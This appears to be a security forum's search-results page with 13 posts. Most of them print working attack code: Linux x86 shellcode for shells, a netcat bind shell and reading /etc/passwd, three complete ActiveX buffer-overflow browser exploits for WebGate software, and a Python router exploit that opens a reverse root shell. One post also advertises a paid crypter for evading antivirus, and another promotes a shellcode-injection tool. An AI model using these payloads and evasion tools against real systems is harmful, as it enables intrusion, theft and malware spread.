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Found 13 results

  1. Security researchers at Microsoft have unveiled details of two critical and important zero-day vulnerabilities that had recently been discovered after someone uploaded a malicious PDF file to VirusTotal, and get patched before being used in the wild. In late March, researchers at ESET found a malicious PDF file on VirusTotal, which they shared with the security team at Microsoft "as a potential exploit for an unknown Windows kernel vulnerability." After analyzing the malicious PDF file, the Microsoft team found that the same file includes two different zero-day exploits—one for Adobe Acrobat and Reader, and the other targeting Microsoft Windows. Since the patches for both the vulnerabilities were released in the second week of May, Microsoft released details of both the vulnerabilities today, after giving users enough time to update their vulnerable operating systems and Adobe software. According to the researchers, the malicious PDF including both the zero-days exploit was in the early development stage, "given the fact that the PDF itself did not deliver a malicious payload and appeared to be proof-of-concept (PoC) code." It seems someone who could have combined both the zero-days to build an extremely powerful cyber weapon had unintentionally and mistakenly lost the game by uploading his/her under-development exploit to VirusTotal. The zero-day vulnerabilities in question are a remote code execution flaw in Adobe Acrobat and Reader (CVE-2018-4990) and a privilege escalation bug in Microsoft Windows (CVE-2018-8120). Leveraging shellcode execution from the first vulnerability, the attacker uses the second Windows kernel exploit to break the Adobe Reader sandbox and run it with elevated privileges. Since this malicious PDF sample was under development at the time of detection, it apparently included a simple PoC payload that dropped an empty vbs file in the Startup folder. Microsoft and Adobe have since released corresponding security updates for both the vulnerabilities in May. For more technical details of the exploits, you can head on to Microsoft and ESET blogs. Via thehackernews.com
  2. Criptez si compilezi shellcoduri pentru windows FUD Formatele acceptate sunt urmatoarele: unsigned char buf[] = "\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xb5\x15\x86\x7c\xff\xd3..." "...." sau ={0xEB,0x16,0x31,0xC0....}; Caracteristici: - Metoda privata - Anti-debugger - Fiecare criptare este unica (algoritmul difera logica este aceeasi) - Runtime crypter (In-Memory execution) - Decryption key brutforce Features: - Private Method - Anti-debugger - Every job is unique (same algorithm logic differs) - Runtime crypter (In-Memory execution) - Decryption key brutforce Size: ~150kb Scan: http://NoDistribute.com/result/ldgABE4aqGQ32U56nCrRmuJ9W1iNYI Proof: Compatibil cu toate shellcodurile din metasploit pentru windows Compatible with every windows metasploit generated shellcode Nu ofer sample | No sample Contact: PM sau jabber: uc0de@jabber.calyxinstitute.org (nu garantez ca raspund imediat) Pret: 5-10$ (depinde de calitatea postarilor) Timp de livrare: 30-60 min de la confirmarea platii Delivery time: 30-60 min from payment confirmation Plata: preferabil Bitcoin,accept si altele De asemenea generez shellcoduri contra cost Pentru autenticitate ofer un sample numai membrilor din staff
  3. /* ; Title: Linux/x86 execve "/bin/sh" - shellcode 26 bytes ; Platform: linux/x86_64 ; Date: 2015-05-19 ; Author: Reza Behzadpour ; Simple ShellCode section .text global _start _start: xor ecx,ecx mul ecx ;execve("/bin/sh", NULL, NULL) mov al,11 jmp shell shell_ret: pop ebx push ecx push ebx pop ebx int 0x80 shell: call shell_ret db "/bin/sh" */ /* # tcc -o ./shellcode ./shellcode.c # uname -r 3.12-kali1-686-pae */ #include <stdio.h> #include <string.h> char shellcode[] = { "\x31\xc9\xf7\xe1\xb0\x0b\xeb\x06\x5b" "\x51\x53\x5b\xcd\x80\xe8\xf5\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68" }; int main() { printf("Shellcode Length: %d\n", (int)strlen(shellcode)); int *ret; ret = (int *) &ret + 2; (*ret) = (int) shellcode; return 0; } Source
  4. /* # Linux x86 /bin/nc -le /bin/sh -vp 17771 shellcode # This shellcode will listen on port 17771 and give you /bin/sh # Shellcode Author: Oleg Boytsev # Tested on: Debian GNU/Linux 7/i686 # Shellcode Length: 58 # Command: gcc -m32 -z execstack x86_Linux_netcat_shellcode.c -o x86_Linux_netcat_shellcode global _start section .text _start: xor eax, eax xor edx, edx push eax push 0x31373737 ;-vp17771 push 0x3170762d mov esi, esp push eax push 0x68732f2f ;-le//bin//sh push 0x6e69622f push 0x2f656c2d mov edi, esp push eax push 0x636e2f2f ;/bin//nc push 0x6e69622f mov ebx, esp push edx push esi push edi push ebx mov ecx, esp mov al,11 int 0x80 */ #include<stdio.h> #include<string.h> unsigned char shellcode[] = "\x31\xc0\x31\xd2\x50\x68\x37\x37\x37\x31\x68\x2d\x76\x70\x31\x89\xe6\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x68\x2d\x6c\x65\x2f\x89\xe7\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x52\x56\x57\x53\x89\xe1\xb0\x0b\xcd\x80"; main() { printf("Shellcode Length: %d\n",strlen(shellcode)); int (*ret)() = (int(*)())shellcode; ret(); } Source
  5. /* ; Title: Linux/x86 execve "/bin/sh" - shellcode 35 bytes ; Platform: linux/x86_64 ; Date: 2014-06-26 ; Author: Mohammad Reza Espargham ; Simple ShellCode section .text: 08048060 <_start>: 8048060: eb 17 jmp 8048079 08048062 : 8048062: 5e pop %esi 8048063: 31 d2 xor %edx,%edx 8048065: 52 push %edx 8048066: 56 push %esi 8048067: 89 e1 mov %esp,%ecx 8048069: 89 f3 mov %esi,%ebx 804806b: 31 c0 xor %eax,%eax 804806d: b0 0b mov $0xb,%al 804806f: cd 80 int $0x80 8048071: 31 db xor %ebx,%ebx 8048073: 31 c0 xor %eax,%eax 8048075: 40 inc %eax 8048076: cd 80 int $0x80 08048078 : 8048078: e8 e5 ff ff ff call 8048062 804807d: 2f das 804807e: 62 69 6e bound %ebp,0x6e(%ecx) 8048081: 2f das 8048082: 73 68 jae 80480ec */ #include <stdio.h> #include <string.h> #include <sys/mman.h> #define PAGE_SIZE 4096U char code[] = { "\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd" "\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68" }; int main() { printf("Shellcode Length: %d\n", (int)strlen(code)); int (*ret)() = (int(*)())code; ret(); return 0; } Source
  6. <html> <!-- # Exploit Title: WebGate eDVR Manager Connect Method Stack Buffer Overflow # Date: 01st April, 2015 # Exploit Author: Praveen Darshanam # Vendor Homepage: http://www.webgateinc.com/wgi/eng/ # Software Link: http://www.webgateinc.com/wgi_htdocs/eng/dcenter/view.php?id=wgi_eng&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=531&category_group=4&category_product=74&category=174 # Tested on: Windows XP SP3 using IE8 # CVE : 2015-2097 targetFile = "C:\WINDOWS\system32\WESPSDK\WESPSerialPort.dll" prototype = "Sub Connect ( ByVal IPAddr As String , ByVal PortNum As Integer , ByVal UserID As String , ByVal Password As String )" progid = "WESPSERIALPORTLib.WESPSerialPortCtrl" Tested on IE8 Author: Praveen Darshanam http://blog.disects.com/ http://darshanams.blogspot.com/ P.S. Do not remove back slashes in shellcode and other variables --> <object classid='clsid:BAAA6516-267C-466D-93F5-C504EF973837' id='target'> </object> <script> var arg1="PraveenD"; var arg2=1; var arg3= ""; var arg4="PraveenD"; var nops = ""; var shellcode = ""; var buff2 = ""; for (i=0; i<1664; i++) { arg3 += "B"; } var nseh = "\xeb\x10PD"; //WESPSerialPort.dll(0x100104e7 = pop pop ret) var seh = "\xe7\x04\x01\x10"; for (i=0;i<80; i++) { nops += "\x90"; } shellcode = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" + "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" + "\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" + "\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" + "\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" + "\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" + "\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" + "\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" + "\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" + "\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" + "\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" + "\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" + "\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" + "\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" + "\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" + "\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" + "\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" + "\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" + "\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" + "\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" + "\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" + "\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" + "\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" + "\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" + "\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" + "\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" + "\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" + "\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" + "\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" + "\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" + "\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" + "\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" + "\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" + "\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" + "\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41"; for (i=0;i<(8000 - (arg3.length + nseh.length + seh.length + nops.length + shellcode.length)); i++) { buff2 += "A"; } fbuff = arg3 + nseh + seh + nops + shellcode + buff2; target.Connect(arg1, arg2, fbuff ,arg4); </script> </html> Source
  7. <html> <!-- # Exploit Title: WebGate eDVR Manager AudioOnlySiteChannel Property Stack Buffer Overflow # Date: 01st April, 2015 # Exploit Author: Praveen Darshanam # Vendor Homepage: http://www.webgateinc.com/wgi/eng/ # Software Link: http://www.webgateinc.com/wgi_htdocs/eng/dcenter/view.php?id=wgi_eng&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=531&category_group=4&category_product=74&category=174 # Version: eDVR Manager 2.6.4 # Tested on: Windows XP SP3 using IE6/7/8 # CVE : 2015-2098 targetFile = "C:\WINDOWS\system32\WESPSDK\WESPPlayback.dll" prototype = "Property Let AudioOnlySiteChannel ( ByVal SiteSerialNumber As String , ByVal Channel As Integer ) As Long" progid = "WESPPLAYBACKLib.WESPPlaybackCtrl" Tested on IE6/7/8 Author: Praveen Darshanam http://darshanams.blogspot.com/ http://blog.disects.com/ P.S. Do not remove back slashes in shellcode and other variables --> <object classid='clsid:4E14C449-A61A-4BF7-8082-65A91298A6D8' id='target'> </object> <script> var arg1 = ""; var arg2 = 1; var arg3 = 1; var nops = ""; var shellcode = ""; var buff2 = ""; for (i=0; i<128; i++) { arg1 += "B"; } var nseh = "\xeb\x10PD"; var seh = "\xa0\xf2\x07\x10"; for (i=0;i<80; i++) { nops += "\x90"; } shellcode = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" + "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" + "\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" + "\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" + "\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" + "\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" + "\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" + "\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" + "\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" + "\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" + "\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" + "\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" + "\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" + "\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" + "\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" + "\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" + "\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" + "\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" + "\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" + "\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" + "\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" + "\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" + "\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" + "\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" + "\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" + "\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" + "\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" + "\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" + "\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" + "\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" + "\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" + "\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" + "\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" + "\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" + "\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41"; for (i=0;i<(5000 - (arg1.length + nseh.length + seh.length + nops.length + shellcode.length)); i++) { buff2 += "A"; } fbuff = arg1 + nseh + seh + nops + shellcode + buff2; target.AudioOnlySiteChannel(fbuff ,arg2 ) = arg3 </script> </html> Source
  8. <html> <!-- # Exploit Title: WESP SDK ChangePassword Stack Overflow # Date: 01st April, 2015 # Exploit Author: Praveen Darshanam # Vendor Homepage: http://www.webgateinc.com/wgi/eng/ # Software Link: http://www.webgateinc.com/wgi_htdocs/eng/bbs/zboard.php?id=sdk_pds_eng # Version: WESP SDK (package version 1.2) # Tested on: Windows XP SP3 using IE6/7/8 # CVE : 2015-2097 targetFile = "C:\Windows\System32\WESPSDK\WESPConfig.dll" prototype = "Function ChangePassword ( ByVal oldPwd As String , ByVal newPwd As String ) As Integer" progid = "WESPCONFIGLib.UserItem" Tested on IE6/7/8 Author: Praveen Darshanam http://darshanams.blogspot.com/ http://blog.disects.com/ P.S. Do not remove back slashes in shellcode and other variables --> <object classid='clsid:9B61891E-D876-476E-B1E8-AA662F332004' id='target'> </object> <script> var arg1 = ""; var arg2 = "PraveenD"; var nops = ""; var shellcode = ""; var buff2 = ""; for (i=0; i<248; i++) { arg1 += "B"; } var nseh = "\xeb\x10PD"; //WESPConfig.dll(0x10022f35 = pop pop pop ret) var seh = "\x3d\x2f\x02\x10"; for (i=0;i<80; i++) { nops += "\x90"; } shellcode = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" + "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" + "\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" + "\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" + "\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" + "\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" + "\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" + "\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" + "\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" + "\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" + "\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" + "\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" + "\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" + "\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" + "\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" + "\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" + "\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" + "\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" + "\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" + "\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" + "\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" + "\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" + "\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" + "\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" + "\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" + "\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" + "\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" + "\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" + "\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" + "\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" + "\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" + "\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" + "\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" + "\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" + "\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41"; for (i=0;i<(5000 - (arg1.length + nseh.length + seh.length + nops.length + shellcode.length)); i++) { buff2 += "A"; } fbuff = arg1 + nseh + seh + nops + shellcode + buff2; target.ChangePassword(fbuff ,arg2); </script> </html> Source
  9. #!/usr/bin/env python ##################################################################################### # Exploit for the AIRTIES Air5650v3TT # Spawns a reverse root shell # Author: Batuhan Burakcin # Contact: batuhan@bmicrosystems.com # Twitter: @batuhanburakcin # Web: [url]http://www.bmicrosystems.com[/url] ##################################################################################### import sys import time import string import socket, struct import urllib, urllib2, httplib if __name__ == '__main__': try: ip = sys.argv[1] revhost = sys.argv[2] revport = sys.argv[3] except: print "Usage: %s <target ip> <reverse shell ip> <reverse shell port>" % sys.argv[0] host = struct.unpack('>L',socket.inet_aton(revhost))[0] port = string.atoi(revport) shellcode = "" shellcode += "\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5\xff\xfd" shellcode += "\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff" shellcode += "\x8f\xa4\xff\xff\x34\x0f\xff\xfd\x01\xe0\x78\x27\xaf\xaf\xff\xe0" shellcode += "\x3c\x0e" + struct.unpack('>cc',struct.pack('>H', port))[0] + struct.unpack('>cc',struct.pack('>H', port))[1] shellcode += "\x35\xce" + struct.unpack('>cc',struct.pack('>H', port))[0] + struct.unpack('>cc',struct.pack('>H', port))[1] shellcode += "\xaf\xae\xff\xe4" shellcode += "\x3c\x0e" + struct.unpack('>cccc',struct.pack('>I', host))[0] + struct.unpack('>cccc',struct.pack('>I', host))[1] shellcode += "\x35\xce" + struct.unpack('>cccc',struct.pack('>I', host))[2] + struct.unpack('>cccc',struct.pack('>I', host))[3] shellcode += "\xaf\xae\xff\xe6\x27\xa5\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27" shellcode += "\x24\x02\x10\x4a\x01\x01\x01\x0c\x24\x11\xff\xfd\x02\x20\x88\x27" shellcode += "\x8f\xa4\xff\xff\x02\x20\x28\x21\x24\x02\x0f\xdf\x01\x01\x01\x0c" shellcode += "\x24\x10\xff\xff\x22\x31\xff\xff\x16\x30\xff\xfa\x28\x06\xff\xff" shellcode += "\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f" shellcode += "\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec" shellcode += "\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab" shellcode += "\x01\x01\x01\x0c" data = "\x41"*359 + "\x2A\xB1\x19\x18" + "\x41"*40 + "\x2A\xB1\x44\x40" data += "\x41"*12 + "\x2A\xB0\xFC\xD4" + "\x41"*16 + "\x2A\xB0\x7A\x2C" data += "\x41"*28 + "\x2A\xB0\x30\xDC" + "\x41"*240 + shellcode + "\x27\xE0\xFF\xFF"*48 pdata = { 'redirect' : data, 'self' : '1', 'user' : 'tanri', 'password' : 'ihtiyacmyok', 'gonder' : 'TAMAM' } login_data = urllib.urlencode(pdata) #print login_data url = 'http://%s/cgi-bin/login' % ip header = {} req = urllib2.Request(url, login_data, header) rsp = urllib2.urlopen(req) Source
  10. 1. Simple program that reads /etc/passwd file Shellcode: ( Download Link given in the end ) "\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\ x89\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x 2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x8 0" Now we create a simple programt that will execute this code and Compile it using gcc –fno-stack-protector -z execstack code.c –o shellcode It will compile our code and program should work without any hindrance. Read more: http://dl.packetstormsecurity.net/papers/shellcode/re_shellcode.pdf
  11. In this article we will get an introduction into mobile malware on Android. The main goal is to give you an overview of the tools used and provide you with a starting point for next work.We will use some webservices that provide a good overview of the malware and later specialized tools to understand the details. This sample is a example malware(syssecApp.apk) written for Reverse Engineering Summer School 2013 (Organized by Ruhr University-Bochum). It provides an overview of what Android malware is able to do. It is not linked to a control server, so the data it steals will never leave our phone. However some personal data will be visible in the logs and during our analysis, so we should use an emulator anyway. Basically; 1 – Basics of Android Applications Read more: http://dl.packetstormsecurity.net/papers/attack/intro-android-malware.pdf
  12. Aerosol

    ShellNoob

    ShellNoob is a writing toolkit, that helps you to writting some shellcodes, converting to different formats, resolving some boring steps. Features: convert shellcode between different formats (currently supported: asm, bin, hex, obj, exe, C, python, ruby, pretty) interactive opcode-to-binary conversion (and viceversa) mode. This is useful when you cannot use specific bytes in the shellcode. resolve syscall numbers and constants (not exactly implemented yet ) portable and easily deployable (it only relies on gcc/as/objdump and python). And it just one python file! in-place development: you run ShellNoob directly on the target architecture! other options: prepend breakpoint, 32bit/64bit switch. read from stdin / write to stdout support (use “-” as filename) Download: https://github.com/reyammer/shellnoob
  13. Shellter is a dynamic shellcode injection tool aka dynamic PE infector. It can be used in order to inject shellcode into native Windows applications (currently 32-bit apps only). The shellcode can be something yours or something generated through a framework, such as Metasploit. Shellter takes advantage of the original structure of the PE file and doesn’t apply any modification such as changing memory access permissions in sections, adding an extra section with RWE access, and whatever would look dodgy under an AV scan. It uses a unique dynamic approach which is based on the execution flow of the target application. This means that no static/predefined locations are used for shellcode injection. Shellter will launch and trace the target, while at the same time will log the execution flow of the application. Also supports encoded/self-decrypting payloads by taking advantage of the Imports Table of the application. It will look for specific imported APIs that can be used on runtime to execute a self-decrypting payload without doing any modifications in the section’s characteristics from inside the PE Header. At the moment 7 methods are supported for loading encoded payloads: 0. VirtualAlloc 1. VirtualAllocEx 2. VirtualProtect 3. VirtualProtectEx 4. HeapCreate/HeapAlloc 5. LoadLibrary/GetProcAddress 6. CreateFileMapping/MapViewOfFile Read more... Download Password: _Sh3llt3r_ Source
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